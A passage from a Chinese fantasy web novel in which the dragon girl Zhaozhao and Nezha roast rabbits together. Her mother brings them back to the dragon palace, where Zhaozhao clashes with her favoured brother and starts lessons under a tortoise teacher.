昭昭给小猫系上不响铃的原因就在此。
一只被爱得明显的小猫,比其他小猫在伤害降临前会多一丝幸运。
龙对小猫的爱除了私心,更多的是坦荡。
而小猫的选择呢?在它能独立生存后,仍愿意去找一位主人供养自己,那也很好。
哪吒像是听明白了昭昭的话,又像是什么也没听明白。
但在此刻,他迫切地想要靠近水中的龙族。
他噗通一声跳进水里,游到龙的面前,与龙对视。
或许是鳞甲覆身的生灵特性。人在面对这种生灵时,潜意识会觉得他们的本性是冰冷无情的。
哪吒无法从昭昭龙形的脸上,看出任何感情变化,所以他也就无法从她的眼中分辨情谊的真假。
“昭昭,你能变回人形吗?”他问。
昭昭:“干什么?”
她口中发问,行为上却是立刻化作了人形。
哪吒在昭昭的眼睛里望见了如水的月光。
他忽地一下低下头,又忽地一下抬头,他轻声说道:“往日是我看轻了你,是我不对。”
“你在道途上看得比我远。”
昭昭接受了哪吒的道歉,却听不懂他后半句在叽里咕噜说什么。
她只是昂首挺胸接受小朋友的真诚道歉,并且真心实意对他卖弄道:“那当然,我可是未来要做龙王的霸王龙!”
她一脸得意,脸色因为情绪的高涨变得红扑扑的,眼神也亮晶晶。
哪很容易就从昭昭的脸上,看出了她此刻的欢欣雀跃,他下意识就回应了昭昭一个微笑,却又在笑起来的一瞬间又抿紧了嘴唇。
他想表达的意思不是这个啊,笨龙!
再说了龙王龙王,不是占据一方水泽就是真正的龙王了。
自己喊的龙王可和负责施云布雨掌管天象变化的四海龙王不一样。前者称龙王是自娱自乐,后者称龙王才是受天地认可,由玉帝替天诰封的神位。
她真的是什么都不懂呢。
哪吒很无奈,但也知道看时机。自己才与昭昭和好,若这时呼啦一下泼她冷水,她真要与自己绝交的。
哪吒直直地看着昭昭,嘴唇动了动,最后在昭昭的眼神‘暗示’下,夸她:“那你以后真厉害。”
“那是!”
昭昭能感觉到哪吒在哄自己,却觉得他完全不会哄人!
听他的话一点也不飘飘然,纯纯的干巴巴。
感觉到自己被他意思意思一下了。
昭昭龙颜不悦了,撇嘴哼道:“你一点也不会哄人!”
哪吒瞪大眼睛盯着昭昭,不明白她怎么能说出这样颠倒黑白的话。
从相遇到现在,他哄她几次了?!
他从来没有这样哄过除了母亲以外的人了:“我不是一直在哄你吗?”
“干巴巴的,不够真诚。”
哪吒被不够真诚四个字戳中,下意识皱眉反驳道:“我要怎样做才能让你感受到真诚?”
“原来你不会啊?”昭昭捂嘴笑着看向哪吒,随后又在他的手足无措中大方地说:“你不会,我也不是不能教你。道歉和哄人时,声音要软,话要好听多夸人知道吗?然后最重要的还得是要准备礼物。”
“行,我去给你找。”
哪吒审视自己,发现他完全想象不到自己与人黏糊撒娇的画面,于是他行动力极强地瞄准了昭昭话中的第二个选择。
现在虽是在深山老林中,但对哪吒来说这种地方对于他来说并不陌生。
他的一家人除却两个在外找到事做的兄长,其余人全待在山中隐居。
哪吒平日里也有哄母亲开心,在深山里寻觅礼物这件事,对于他来说并不为难。
他在林中找寻了一会儿,就带着自觉满意的道歉礼物回到了水潭。
“喏,给你道歉礼物。”
哪吒示意昭昭张开手后,他往她的手中放下了一只软绵可爱的幼兔。
昭昭愣住了,她捏起兔子在掌中颠了颠道:“你逮的这只兔子不够肥妹。”
“肥、美?”哪吒说话的声音有些颤抖,接着他闭了闭眼才道:“这是拿着给你养玩逗趣的小宠,不是食物!”
昭昭抗议道:“我是龙,不是人,圈养食物干什么?”
从逻辑上来看龙是没错的,那错的便只有哪吒了。
他气得眉毛都竖起了,却还是点头说道:“那还我,我去给你抓肥兔。”
昭昭哦了一声,依言还给他。
哪吒接过小兔子揣在了怀里后道:“我哄过人的,但哄龙的确是头一次!”
他气冲冲地大步离开了水潭,留下昭昭又一次望着他的背影摇头。
不同于前次的叹气,这次昭昭是吹着口哨看着哪吒离开的。
哪吒再次走入林中,却是没有去将幼兔还回兔窝。
未开智的兔子,哪吒担心它会不接受身上有了人味的幼兔,更担心事态糟糕成大兔子因为巢中混入气味不对的幼崽从而丢弃全部的小兔子。
如此顾虑下,哪吒选择将怀中幼兔托付给家中母亲,随便他还可以回去拿调料。
这次他亲手烤制兔肉,喂给她吃,她总算能没话说了吧。
吃吃吃,那条龙就知道吃!
……
“可以吃了吗?”
昭昭望着火堆上烤得油亮的兔肉,猛地咽了一下口水。
哪吒扭头瞧着身旁坐着的小姑娘,发现她正活灵活现地给他表演垂涎欲滴这个四字成语后,哈地一气笑出声来。
连笑出了好几声哈,他才说了两字:“还早。”
昭昭嗅着空气中的油香,被胡椒的辛辣气味呛得猛打了两个喷嚏后道:“还要等多久才能吃啊,我快忍不住了。哪吒你这手艺比酒楼里专门做饭的大厨可好多了!”
“你去外面吃过几次?”哪吒翻动着手中的烤兔肉,忽又笑道:“夸下这样的海口,你不羞,我却要脸红了。”
昭昭听哪吒笑个没完了,恼道:“都是山里人,我没吃过几次外面的饭,你还不是一样的!”
好烦啊他,这什么脾气!猫猫狗狗的!
哪吒被怼了一句后不说话了,斜睨了昭昭一眼:“给你烤肉,也不对我客气点?”
昭昭:“这是你给我的道歉礼物!”
“还有……”昭昭眼睛一转,谈条件道:“还有刚才你把我一条龙丢在水潭里那么久,不得再给烤些肉吃?”
哪吒语塞,连眼神也游移回避起来。
他回家被母亲拉着玩了一会,是耽误了时间。他嗯了一声,已经习惯了对昭昭先行道歉:“那你再去抓几只兔子回来,我再给你烤上。”
昭昭:“真的?”
哪吒:“真的。”
他又一次答应了昭昭得寸进尺的要求,却在看见昭昭满载而归后无语地笑出了声:“你这是让我烤多少只兔子?”
昭昭对哪吒嘿嘿一笑:“就五六七八只呀!”
五六七八只的数量了,她还好意思呀?
哪吒摇头在心里自问自答,那他是不是要庆幸自己调料带得足够多……
他拿起手中已经烤出焦香脆皮的兔子,对昭昭摇晃:“那你去把兔子处理了,我这就给你烤。”
昭昭望着兔肉咽了一下口水,先是凑到了哪吒身边说:“你看我抓的兔子!”
“什么?”哪吒看向她手中的兔子。
昭昭笑着说:“我看到你先前抓的小兔子,所以现在我手中的都是公兔子!”
哪吒明白了昭昭的意思,抓来的兔子都是公的,那么母兔子在哺育现在这窝幼崽的成功会大大增加。
没有公兔再来缠着她交/配,和母兔争食的同类也减少了许多,这很好。
哪吒往常在林中狩猎
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时,也会多会挑雄性下手,这样犯下的杀孽轻,且有利于更多母兽与幼崽的生存。
“那你很细心了。”哪吒点点头,顺了昭昭的意思,给了她一句好话。
昭昭一边处理猎物,一边继续与哪吒说话:“作为朋友,我可不能比你差!”
她实在馋脆皮烤肉,手下处理猎物的速度变得越来越快。
随后皮毛、头颅、内脏杂碎等物被昭昭全部抛入林中的黑暗里去了。她不吃的这些东西,丢在山林中是完全不浪费,有的是小动物帮忙解决。
哪吒将昭昭处理好的兔肉,围着火堆插了一圈,她才终于才潭水边洗干净手走回。
香喷喷的兔肉被昭昭拿在了手中,就在哪吒以为自己耳边会立即听到咔嚓咔嚓的清脆啃咬身时,一只喷香的烤兔腿在他眼前冒出。
“哪吒烤肉的辛苦了,给你,你先吃。”
胡椒的香气直往嘴里钻,哪吒低下头张开嘴咬住了烤兔腿。
他觉得自己受到了昭昭的影响,不然为什么他也会跟着感觉到饿。
不对,他眼睛余光滑向给他喂完兔腿后,就开始狼吞虎咽的龙女,修正道不是饿是馋。
哪吒心里埋怨着昭昭不会照顾人,肉也不给撕一下喂,整只兔腿一点也不好嚼。
实际上却是含着兔腿,就着昭昭的吃相,有一搭没一搭地满满嚼起了口中的烤肉。
两个小朋友在荒山野岭的夜中,自得其乐地烤肉,却是没想到另一头的乱石山碧波潭中已是乱做了一团。
万圣龙王狠心想管教女儿,法力和跟脚皆若于他的龙婆自不敢反抗于他。
但龙女到底是她怀胎百年辛苦诞下的骨肉,怎舍得和龙王一般冷酷,对她不闻不问。
她背着龙王差使虾兵蟹将,时不时往岸上寻觅女儿的踪迹。
时不时收到她在外玩得开心的消息,龙婆便看着家里剩下那个被龙王宠爱的儿子顺眼了不少。
直到不久前,万圣龙王请了周围不少洞主妖王来碧波潭宴饮,龙婆才放松了些对女儿的关注。
谁知两月过去,送走了宾客的龙婆刚从席上离开,又派小兵去岸上寻找女儿的踪迹。
可谁知小兵上了岸,往林中洞府、山涧地穴各处一招,却是天上地下全全觅不见公主的龙影!
他急急忙忙返回龙宫去禀消息,是骇得龙婆当场晕厥过去,惊动了龙王。
万圣龙王坐在床边,听妻子靠着软枕哀哀哭泣:“我的女儿,我的女儿啊!都是你这条狠心的老龙,你怎么说不管她了,就真不管她了!”
万圣龙王连忙解释:“我要真的不管她了,你又怎么差遣得动龙宫中的将领去探知她的消息!”
龙婆可不管这些,直往龙王面上直骂去:“现在女儿不见了,你总满意了吧!她当初又不是要闹个翻江倒海的祸事出来,她就想学些本事在身!若不是你疾言厉色,呜……”
万圣龙王受了妻子的指责,只觉心中委屈。
疾言厉色!到底是谁对谁疾言厉色啊!
但现在也不是追究这些旧事的时候了,万圣龙王对妻子保证道:“我这就带上礼物,去托天上顺风耳、千里眼两位神将相助。此去必能寻得女儿下落,你且在家中等着。”
龙婆泪止,忙问:“当真?”
万圣龙王点头:“千真万确。”
言罢,他召丞相备了礼物,就急匆匆往天上去了。
这找对了神帮忙,万圣龙王回到龙宫时,他便为龙婆带回了女儿的消息。
得知女儿已经跑出离碧波潭千里之外的确切消息后,龙婆只觉眼前模糊,是又一次的头晕眼花。
小小的龙儿,怎么那么能跑!
这天不怕地不怕的性子,龙婆看了一眼身旁的万圣龙王,嫌弃不已。
和这老龙简直一模一样!
龙婆对万圣龙王道:“既然知道女儿的下落,那便由我去带她回家吧。”
万圣龙王:“外面恶妖横行,不如还是让我来?”
“让你来和她继续吵?”龙婆冷冷地反问。
万圣龙王被她说得是哑口无言,关键是他觉得自己再和女儿见面,仍然是说不过她的。
龙婆就算知道了女儿的下落,又带着水族士兵护驾,这寻女之途上也充满着坎坷。
哪吒和昭昭两个小朋友,他们的出行是没有计划的。兴致来了是瘴林敢去妖洞敢闯,无意也往王侯紫顶上躺一夜,有心也能佛寺道观游一遭。
历经千辛万苦,龙婆费了一番波折,才终于在极北之地的山上,找到了正跟在老药农身边采药的女儿。
龙婆远远地就看见女儿在吃松子,瞥见她身旁剥松子的童子,龙婆心中突生一种不祥的预感。
可惜龙婆不是生活在现代,不然她就能知道这是在收货时,看到强迫捆物时,单主无语又认命接受买一送一的预感。
8. 第 8 章
昭昭嘴中还咬着松子,听见不远处有熟悉的声音在唤自己,她回头看见母亲后,又惊又喜,险些被口中松子呛住。
“母亲!”
昭昭没看见龙婆前,以为自己是一点也不想她的。
谁知现在见着了她,自己便控制不住地乳燕投林般朝龙婆扑去。
龙婆一把抱住女儿,眼中淌下泪来:“我的儿,你怎在外边如此受苦!”
昭昭离家久矣,身上的衣着打扮早不是原先那套。
不是变幻而成的衣物,早就被她一点点沿途舍弃。现在的昭昭打扮与哪吒一模一样,上是窄袖衣裳,下是胡服裤子,脚上踩着一双草鞋。昭昭仗着自己是龙族皮糙肉厚,直把鞋子踩得毛毛躁躁也是不换。
哪吒站在老药农身边,手中上下抛接着半个松塔,眼睛望着前方感人的母女团聚大戏。
他忽地也想家了,想起家中的母亲,与在外当值的两个兄长。
药农瞧着今天这样,想这两个乖巧得像是观音菩萨身旁的金童玉女的两个孩子,是要离开松林了。
他目露不舍,却催促自己身边的男童道:“你怎么不过去?快去吧!”
哪吒刚想和药农说对面那龙不是自己的母亲时,就瞧见昭昭在龙婆的怀里转过身,正招手喊他呢。
他犹豫了一瞬,最后还是迈步朝这对母女走去。
龙婆刚才已听得女儿简略地,介绍了眼前孩童的身份。又见他生得唇红齿白,一双眼睛灵动有神,便喜得也将他搂在怀里:
“好孩子,多谢你连番照顾我家娇娇儿,快随我们家去,也好办下宴席谢你一谢。”
她说得情真意切,倒让哪吒不好立刻拒绝。
他正心中盘算如何拒绝,就被身边的昭昭一把抱住。
“你干什么?”
“你才是想什么呢?好端端站在原地走神。”
昭昭凑在哪吒耳边低语:“你现在要回你家不?不回,就随我到我家去玩,龙宫你定是没去过的!”
哪吒是没去过龙宫,他却不愿意在昭昭面前露怯,直道:“只是暂时未去,以我的本领,只有我不想去的地方,绝没有我去不得的地方!”
昭昭单手捂住更靠近哪吒脸侧的耳朵,道:“叽里咕噜一堆,你到底去不去?”
眼见她又要恼了,哪吒忙道:“我去就是!”
这回答却惹得昭昭瞪他。
哪吒这猫猫狗狗的脾气,明明是热情相邀,让他搞得像自己强权逼迫似的。
莫名被瞪的哪吒,他完全不知道自己为什么被瞪,随即扭头再不理昭昭了。
龙婆瞧着小儿女们斗气,乐得合不拢嘴,哄哪吒道:“我看你脾气这样好,不如让你做个我儿的义兄如何?”
“谢过夫人好意,我不愿做她兄长。”
“为什么不是我做哪吒的姐姐?”
两句话同时从两个小儿口中说出,明明含义都是拒绝龙婆的提议,却因为各自心思不同,产生了截然不同的言语表达。
昭昭是极其不愿意自己顶上压着个什么哥哥的。
哥哥这种存在就是专门抢她东西的,她才不喜欢这种东西又多出一个!
而哪吒呢……
他在脱口而出的一句不愿,是真不愿做她的兄长,却也是朦胧地觉得那种相处方式会让他们的关系走到尽头。
可没得哪吒细品出自己心中的滋味,他就听见了昭昭的话。
他扭头回去盯着昭昭不服气的眼睛,嗤笑道:“你做姐姐?呵。”
昭昭怒了,这种嘲讽人的方式还是她教的,怎么能反过来用在她身上!
昭昭紧跟着也呵了一声:“你应该感谢我母亲在场,不然我现在已经把你打得满地找牙了。”
哪吒听她这话听得皱眉,却是没想回话,只用眼睛上下扫视了昭昭一番。
昭昭这下是真的恼了,因为她从哪吒的脸上看见两个字。他的左眼上写着就字,右眼上写着你字,合起来的意思就是两字。
就你。
好好好,好得很啊,敢用脸对她开嘲讽!
昭昭怒得当机立断给了哪吒一头锤!
“唔!”
“嘶!”
空气中又同时得了两个气音。
龙婆瞧着怀里一左一右两个小孩强忍眼泪的红脸儿,笑眯眯地将他们全部抱在手上,站起身离开:“你们回龙宫在闹。”
没有女儿在的龙宫,这段时间安静得龙婆很不适应。
她带着孩子们转身驾云而去,跟在她身后的小兵将领却是很规矩。
他走到目瞪口呆的药农身边,递了一粒深海明珠作为报酬,等他接了,自己才领兵追上早一步离开的龙婆而去。
一群水族带着两个小孩乘云追风,龙婆身后侍从云集,从远处望去云上人马浩浩荡荡,避免了路上无数麻烦。
很快一波水族到了碧波潭上,龙婆问怀里的人族小孩:“你可识得水性,或是修得术法?”
哪吒道:“望夫人知晓,小子乃父母入道后所生,不是凡体,又得奇缘胎中便以入
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道,平常凡水凡火扰不得我。”
昭昭见哪吒摆出一副文绉绉的样子说话,心里极不适应。
她盯着他是看了又看,止不住地偷乐,最后被哪吒瞪了,她才勉强收了小脸,只是抿紧嘴唇,脸上眼珠不安分地转来转去。
龙婆得了准确回复,当即便不再犹豫,抱着怀中的孩子们跃如水中。
龙族在水中远比在陆地上灵活,哪吒只觉眼前被轻纱飘荡着一晃,下一刻人就已在了水中。
哪吒赏着与陆地上全然不同的景色,一路随波摇到了龙宫。
龙婆带着孩子们到了龙宫,却见不到万圣龙王在外等候。宫殿前只余一个丞相站在原地期期艾艾个半天,烦得龙婆不想听他啰嗦,挥手示意其退下。
昭昭回到了自己的老巢,和母亲打了个招呼就拉着哪吒往她的房间跑去。
龙婆听着空气中清脆的童音,心想昭昭与哪吒的关系真是亲近,竟然愿意与他分享房间。
不过这感叹也只存在于她心中短暂一瞬,下一刻她就柳眉倒竖,怒气冲冲地去找万圣龙王算账去了。
多大年纪了,还敢和孩子争吵拿乔!
哪吒随昭昭跑到她的房间,却是没有进门,急停在了门口:“我还是不进去为好!”
昭昭茫然回头看向他:“哪吒,你又闹什么?”
哪吒伸出食指,倒转拳头指向自己:“谁闹?我吗?”
昭昭翻了个白眼:“在外我们睡过一个屋顶、一片草地,一颗树下,现在才来讲男女之别,是不是太晚了。”
哪吒迟疑道:“可是……”
昭昭强行打断了哪吒的施法道:“没什么可是,我的房间除了母亲,我就仅让你一个人来睡,其他人想都别想!”
哪吒以言,顺着昭昭的力气被她拉进房间,却又问道:“那你哥呢?”
昭昭哼道:“他住过我出生时最开始的一段时间,在我睡醒后就被我踹滚蛋了。”
那挺不错。
哪吒满意地笑了,他在为他们两个是最亲近的同龄人这件事高兴。
他难得情绪外露,说话语气带着些激动地在昭昭耳边说:“在我心中母亲排第一,昭昭排第二!”
昭昭:“……”
那她要说谢谢,还是我也一样啊。
哪吒这话搞得谁不是母亲第一,朋友第二是的。
至于其他的谁谁谁,昭昭脑中滑过龙爹和龙哥的嘴脸想。某些家族成员的存在,生来就是要从她这里感受到什么是帝王无情的作用!
9.第 9 章
昭昭无语了片刻,就带哪吒吃茶去了:“我谢谢你这么看重我。”
说是茶,昭昭给自己和哪吒冲的两碗东西,却更像是坚果糊糊。
热气腾腾的一碗吃下肚,一人一龙都觉得舒服多了。
而小孩子嘛,吃饱了就困。
在哪吒打了个哈欠后,昭昭凭借着自己上辈子积攒的年岁,自觉是个姐姐,要照顾年纪更小的孩子,就领哪吒去到浴池洗澡。
在哪吒洗澡时,昭昭又从柜子里翻出一床新的被褥给他用。
床什么的可以与哪吒分享,但是被子枕头什么的,如果还是要一起用,昭昭心里就觉得这样太奇怪了。
昭昭铺床的速度很快,在她收拾完床具后,就跑去巡视自己的房间了。
她除了要确认屋中摆设没有被谁乱动外,她还要仔细嗅闻每一处的气味,来侦查有没有谁在她走后又来住她的房间。
待昭昭仔细地在房间中巡逻一圈后,哪吒已经快速收拾好了自己。
他散着一头被水汽蒸得半湿的头发,小脸红扑扑的走到床前。
看见床上多出的一套新被褥,哪吒向昭昭道谢后,就爬上床裹着被子呼呼大睡。
哪吒的睡相很好,从不乱动,偶尔床上发出窸窸窣窣的摩擦声,便是他翻身换姿势所发出的动静。
小客人被昭昭安排得明明白白,剩下的时间她就能安心的在一个人的时间,慢悠悠地照顾自己。例如在洗澡时保养保养鳞片、对着镜子欣赏自己的青色鳞片。
昭昭又好好地稀罕了自己一会儿,才终于顺从小孩子的生物钟召唤,爬到床上和哪吒一起睡午觉。
一人一龙在外相伴了不短的时间,睡熟后昭昭在床上睡越了界,也没有吵醒哪吒。
冰凉的龙鳞贴在哪吒的胳膊上,仅是让他皱了皱眉,往旁边推了一下后就继续安睡。
久违的软枕暖裘待遇,让他们一觉就睡到了夕阳西下。
哪吒先一步睡醒,他从床上坐起,捋捋自己睡乱的头发后,便越过旁边睡得翻肚的幼龙,下床喝水。
茶壶中的冷茶,对于刚睡醒体内燥热的哪吒来说刚刚好。
他边喝茶边透过窗外,去瞧外面的天色。这一看下去,他才想起碧潭幽深,外面除了鱼群与水草他什么也看不见。
又兀自在心中猜测时辰,哪吒忽见有人推门而入。
来人瞧着是个与他年岁差不多的小童。
哪吒想这男童就是昭昭的哥哥了,他看他的面貌有三分像昭昭,却不知为何怒气冲冲而来。
“你!”
这小龙刚说了一个字,便又闭上了嘴。
他慌忙往床上瞟去一眼,见床上的妹妹没有睡醒,才低声质问哪吒:“你怎么在这里!”
哪吒被他这语气弄得不爽,却懒得跟他计较,平静道:“我是昭昭的客人,自然她在哪里安置我,我就在那里。”
小龙愣住,又呆呆地重复道:“昭昭?”
哪吒点头:“嗯,她的名字。”
小龙听见他这回答,却是又怒了:“什么名字?!我们不需要名字!我是万圣龙子,她是万圣公主!啊!”
他说话太大声吵醒了昭昭,青龙从床上支起半身,龙头探出幔帐的同时,龙尾也将枕头抽飞,击中到了正在说话的万圣龙子脸上:
“吵死了!还有我请你进了吗?你就进我房间!”
被人吵醒的昭昭,她臭着脸变回人形,穿着绣鞋大步走到万圣龙子面前:“你最好找我有事!”
万圣龙子对自己的这个妹妹是又爱又怕,被她凶巴巴的态度一顶,磕磕巴巴道:“我、我听你回来了,来看看你。”
昭昭:“然后呢?”
“我就想知道他为什么能随意进你的房间。”万圣龙子想到这个就气。
哦,原来是这个啊。
知道了这个无聊原因的昭昭,她心中的起床气咻地一下消失殆尽。
“就这?”
昭昭看见万圣龙子点头后,瞧他的眼神是越发稀奇了。
她走回哪吒身边坐下,拿了杯子给自己灌了一杯冷茶道:“我和哪吒的关系好,当然愿意让他住我的屋子。至于你?我们好像就没关系好过吧?”
昭昭真不明白这筷子细长条为什么气愤委屈。
“我们化形前就没见过面,等化形后来我们见面时上课,你说的‘凭什么你能和我上一样的课’,还有‘龙子和龙女哪能一样。’的话,我都可记在心里呢。”
万圣龙子原本就红的脸,在听完昭昭这话后更红了。
他我我我了半天,才道:“我那时说的是无心之言。”
话说道这里,按照一般的正常发展,他们这对兄妹应该是一个原谅一个,然后上演泪汪汪和好的戏码。
但是,凭什么?
她凭什么要让着他!便宜都被他占了,一句轻飘飘的话当什么用?
昭昭只要一想到,在这里自己长大以后,有百分之八十的可能性会被老龙王用一副嫁妆打发出去。而自己的兄弟,却因为身上比自己多长了一个不加智商的器官,就能当龙王,她就气得抓心挠肝!!!
其实她也不想粗暴地对待一个小孩的,但是她现在也是一个小孩啊,年纪都差不多,她凭什么让他!
这么一想,昭昭再对上万圣龙子无措的眼睛时,心中唯一一丝愧意就烟消云散了。
昭昭盯着万圣龙子道:“谢谢你来看我,但是我和你的关系在我当上龙王之前是不可能变好的!”
万圣龙子这次是连眼睛都红了,他恶狠狠道:“为什么?!我们明明是一母同胞的亲兄妹!”
昭昭轻轻放下杯子,深觉某些糟粕文化换个地方的耐活性其实都是一样的。
她轻叹一声道:“你要怪,就先怪大的再怪小的。怪大的,是这个世界对男女不是一个规则;怪小的,就怪家里的老龙对待自己的儿女很俗气,不看大头看小头。”
哪吒:“咳咳咳!!!”
哪吒他听昭昭说话时还在喝水,而话进脑子的速度又太快,等他反应过来昭昭说的是什么话时,本应流进喉咙里的茶水就去到了它不应该去的地方。
昭昭被身旁哪吒的反应吓了一大跳,连忙去拍他的背:“你喝慢点呀!”
哪吒这时说不出话来,只是朝着昭昭不停摆手。
他这无意的举动,却被万圣龙子当做其是故意想吸引妹妹的注意。万圣龙子见房间里一人一龙都不理他,眼中包着一泡泪就往外跑。
他扑在一直悄声站在门外的万圣龙王腿上,哇哇大哭:“父王呜呜呜呜呜呜!!!”
这一大声哭嚎,立刻就让昭昭注意到了,站在门外的老龙爹。
她看见万圣龙王气得须发皆张,龙首恶相的样子,呆了一瞬随即反应过来后,昭昭拉着哪吒就跑!
“逆女,你站住!”
“站住是傻子,我才不要听你偏心眼的说教!”
昭昭头也不回地就拉着哪吒翻窗而逃。
哪吒一只胳膊被她拽着,人又还在咳嗽,翻窗的动作便慢了些。昭昭怕在哪吒面前被骂了丢面子,连声催促他:“你快点呀!”
要是她一条龙,现在早就化作原型游出去了!哪吒这慢动作,急死龙了!
“咳!不会让你被追上的咳咳咳…”哪吒催动混天绫往远处的巨大怪石上一缠,左手再抓住龙女的腰带,一人一龙就这样借力荡到了远处躲藏。
等两人往石林深处藏了藏,哪吒才有机会为自己捶胸顺气。
等他不再咳嗽了,却看见身边的龙女气鼓鼓扭头看向一旁,是一点理睬自己的样子都没有。
“你这是怎么了?哭了?”哪吒绕到昭昭面前去看她。
昭昭望了哪吒一眼,又别扭地转头过去在另一边,不去看他:“没有!”
哪吒:“那你为什么不看我?我又没惹你。”
哎,现在她自己都说不清楚自己是什么心情。
哪吒明明是她的好朋友,她却在看见他的这一刻忽地心生嫉妒。并且除了嫉妒之外,她居然还恶毒地在想,如果他没有男性□□官就好了。
可是这是人家天生就存在的器官,没了反倒是残疾,她刚才居然有一刻希望自己的好朋友变成残疾人?!
这想法来得恶毒,又莫名其妙。
昭昭挠挠头,别别扭扭地和哪吒说:“我刚才有点迁怒你了,因为你也是男孩。”
哪吒:“哦,那你气吧,等你气完我再和你说话。”
“你不生气吗
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?”昭昭有些愧疚,她微微侧身小心翼翼地,去看哪吒此刻脸上的表情。
水底幽深无天光莅临,唯有远处的龙宫灯火通明。龙宫中的光亮,到达他们两个藏身的位置时,只余微光。
微光乘着水中大鱼尾巴扇出的波澜,在水中摇晃,哪吒的脸上光影错落,昭昭看着这样的哪吒,恍然以为他成了个真的玉娃娃。
“我既没有错又不是欺负你的龙,我有什么可气的。”哪吒收回缠在巨石上的混天绫,重新将它系回腰上。
得到答案的昭昭,她也哦了一声随后是捏着腰间的衣带,将它从蝴蝶结搓成了死结。
没办法,龙在尴尬时也是很忙的。
好在,她根据一直以来和哪吒相处时的观察下来,确认哪吒是个有点早熟的小孩,不然她这无理取闹若是被回以无理取闹,她就要羞得想找地方躲避了。
她抬起手拍拍脸颊,飞速地丢掉坏情绪后和哪吒说:“谢谢你等我从糟糕的状态中缓过来。”
哪吒摇摇头后道:“现在我们要去哪?你又要离家出走吗?”
他的问话很现实,也很扎心。
昭昭被她戳痛了,但却完全做不出带着朋友从家里灰溜溜跑掉的事情。
“短时间内不会再走。”她答完又提起另一个话题:“哪吒,你饿吗?”
哪吒实话实说道:“饿了。”
他说完话,就瞧见她的眼睛闪了闪,露出一种狐狸般的狡黠之意。
她又去拉他的手了:“我带你去厨房,我给你做好吃的!”
哪吒顺着她的力道,跟着她走,嘴中好奇道:“你能做什么好吃的?”
这段时日,他若不把饭给她做熟,她吃的就是生的。
等到了龙宫的厨房,哪吒看见她先是蒸了一锅米饭,又煮了两锅虾蟹,看那架势像是有厨艺在身。
哪吒心中不由有些期待,可哪知等他摆好桌椅碗筷后,便看见她在调蘸碟了。
他洗干净手,走到昭昭身边发问:“有需要我帮忙的吗?”
他在家中时也经常帮母亲做些小事,在外做客,便也不习惯做个等吃闲人。
昭昭调完酱油蒜泥碟和姜泥醋碟后道:“没了,这就好。”
哪吒:“?”
他轻笑了两声,觉得自己先前的想法太过幻梦。
这洗干净菜再上火煮,便是好吃的了?要好吃,这不全是食材的功能么。
等饭熟了,哪吒剥开巴掌大的湖虾,去掉虾线入口,味道是鲜香弹韧,合了他的猜测。
哪吒和昭昭比起来,是个小鸟胃。他放下碗筷后,昭昭便将饭锅摆在了自己面前,自觉地接收剩下未吃完的饭菜。
哪吒坐在昭昭的对面,撑着下巴看她吃饭,看得久了无聊便顺手帮她剥蟹。
等他们两个结束这清淡又美味的一餐后,领着哪吒回房休息的昭昭,在自己房间门口和万圣龙王宽路相逢。
昭昭见躲不过,在心中唏嘘着不是冤家不聚头啊,便坦然地走向万圣龙王:“爹,你要干什么?”
万圣龙王冷笑一声:“我能干什么?当然是满足你的愿望,让你和你兄长一起上课,免得你又不尊父兄。”
听到以后能和筷子细长条学习一样的课程,昭昭的眼睛唰地一下就亮了起来。
达成目的的她,完全没被此刻万圣龙王说完话就拂袖而去的态度冷到,她开开心心地转身拉住哪吒的双手,愉快地转圈圈:
“太好了哪吒,以后我们能一起上课了!”
哪吒:“我为什么要和你一起上课?!”
“因为我们是好朋友嘛!”
小小年纪怎么能不上学呢,以后没文化又怎么辅佐下一任碧波潭龙王呢~
哪吒平时在山上修行平静却也枯燥无聊,下山玩耍了还要读书,他才不要!
不想读书的哪吒忽地心生急智道:“我才不要读书,除非你求我!”
以他这段时间对她的了解,她一定不会愿意求人,如此等她生气了,自己就可以顺势离开!
下一息,昭昭的回话完美地踩碎了哪吒的小算盘:“我求你~”
一人一龙目光交汇,哪吒在昭昭的眼中看到自己愣住的啥样,随即恼道:“你这条奇怪的龙!!!”
10.第 10 章
终于能学些有用的东西了,昭昭在上课的第一天就兴冲冲拉着哪吒早早来到课堂。
给在场三个孩童上课的老师,是一只年迈的乌龟。
这个龟选,非常符合昭昭上辈子对于龙宫和龙王左右手的刻板印象。
在龙宫里除了龙王以外,能活得最久的生物是谁?是龟龟!所以丞相是龟龟,老师也是龟龟!
昭昭一心二用,边听课边在脑中以海绵宝宝的语气自问自答着。
给在场二龙一人上课的老龟,年纪明显很大了。她讲话的声音被拖得很长,慢悠悠的,每一个音调离奇的转折,都像是一把将要断弦的二胡费力拉出的般,让听者只觉呕哑嘲哳难为听。
昭昭这边火力全开的用心听课,哪吒却是从上课开始,就苦恼得狠狠盯了昭昭两堂课。
偏偏这条小龙对他满是怨念的眼神无知无觉……
哪吒觉得要不是自己想着给朋友面子,他早就掀桌而起,将台上那只老龟倒转过来,让她旋转着离开龙宫!
“你真的听得下去这样的教导?”哪吒心中怀疑,不由靠近昭昭些,在她近处问话。
他虽心生不耐,却也没想打扰在场另一只幼龙听课。
再说了,凭借哪吒和昭昭的相处,他是真不信身边这条龙,是个规矩老实的好孩子。
嗯,顶多算个能入他眼的假正经吧?
昭昭确实也受不了龟龟老师说话的语调,但她的确对上课挺感兴趣的。
上辈子的语文课,老师讲课时内容的确会往课外延展一些。但语文嘛懂的都懂,学习内容都脱不了课本上的死内容。哪像现在的龟龟老师,讲语文时联系历史,顺便还说些人文风俗!
而且除开这些内容之外,龟龟老师还会讲些妖怪神仙的故事!!!
天呐,她在这个世界活到今日才生出自己未来将在这片奇幻世界里大有作为的热血!!!
这种感觉完全与之前杀些妖怪喽啰行侠仗义的感觉完全不同。
前者带着些江湖气,现在昭昭却是觉得自己像个将要探寻新大陆的冒险家!
收获知识,充实自己,然后她将在未知的世界开拓的传奇感,是哪个老中家人都无法拒绝的诱惑!
哦,土地,未曾踏足过的土地!
哦,物种,未曾吃过的物种!
昭昭双眼放光地朝哪吒看去,笑盈盈道:“老师说得这些很有趣,我都没听过!”
说完,她发现自己的声音高了些,便凑在哪吒耳边小声道:“你…你觉得无聊,不会是你听不懂吧?”
谁?谁听不懂?!
哪吒冷笑了一声,道:“这些我早就掌握的东西,有什么好听的。”
昭昭静静地看着身边的小伙伴装逼:“哦。”
哪吒继续道:“几个月就能轻易学会的内容,再听也只是浪费时间。”
昭昭:“哦。”
哇塞,这么听,他还觉得自己是个天才。
